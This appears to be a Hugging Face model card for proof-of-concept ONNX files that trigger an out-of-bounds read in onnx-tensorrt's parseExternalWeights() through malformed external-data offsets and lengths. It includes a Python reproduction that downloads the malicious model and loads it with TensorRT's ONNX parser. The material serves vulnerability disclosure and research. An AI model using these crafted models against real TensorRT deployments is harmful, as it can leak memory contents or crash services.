Security Research β ONNX External Data OOB Read
This repository contains proof-of-concept ONNX models demonstrating an out-of-bounds read vulnerability in onnx-tensorrt's parseExternalWeights() function.
This is for authorized security research only.
Files
poc1_negative_offset.onnxβ Negative offset in external datapoc2_huge_offset.onnxβ Offset past file boundarypoc3_huge_length.onnxβ Length exceeds file sizeweights_*.binβ Associated external weight files
Reproduction
# pip install tensorrt onnx
from huggingface_hub import hf_hub_download
import subprocess
# Download the malicious model
model_path = hf_hub_download(
repo_id="YOUR_USERNAME/onnx-tensorrt-poc-oob-read",
filename="poc1_negative_offset.onnx"
)
weights_path = hf_hub_download(
repo_id="YOUR_USERNAME/onnx-tensorrt-poc-oob-read",
filename="weights_neg_offset.bin"
)
# Load with TensorRT β triggers OOB read
import tensorrt as trt
logger = trt.Logger(trt.Logger.VERBOSE)
builder = trt.Builder(logger)
network = builder.create_network(
1 << int(trt.NetworkDefinitionCreationFlag.EXPLICIT_BATCH)
)
parser = trt.OnnxParser(network, logger)
with open(model_path, "rb") as f:
parser.parse(f.read())
Inference Providers NEW
This model isn't deployed by any Inference Provider. π Ask for provider support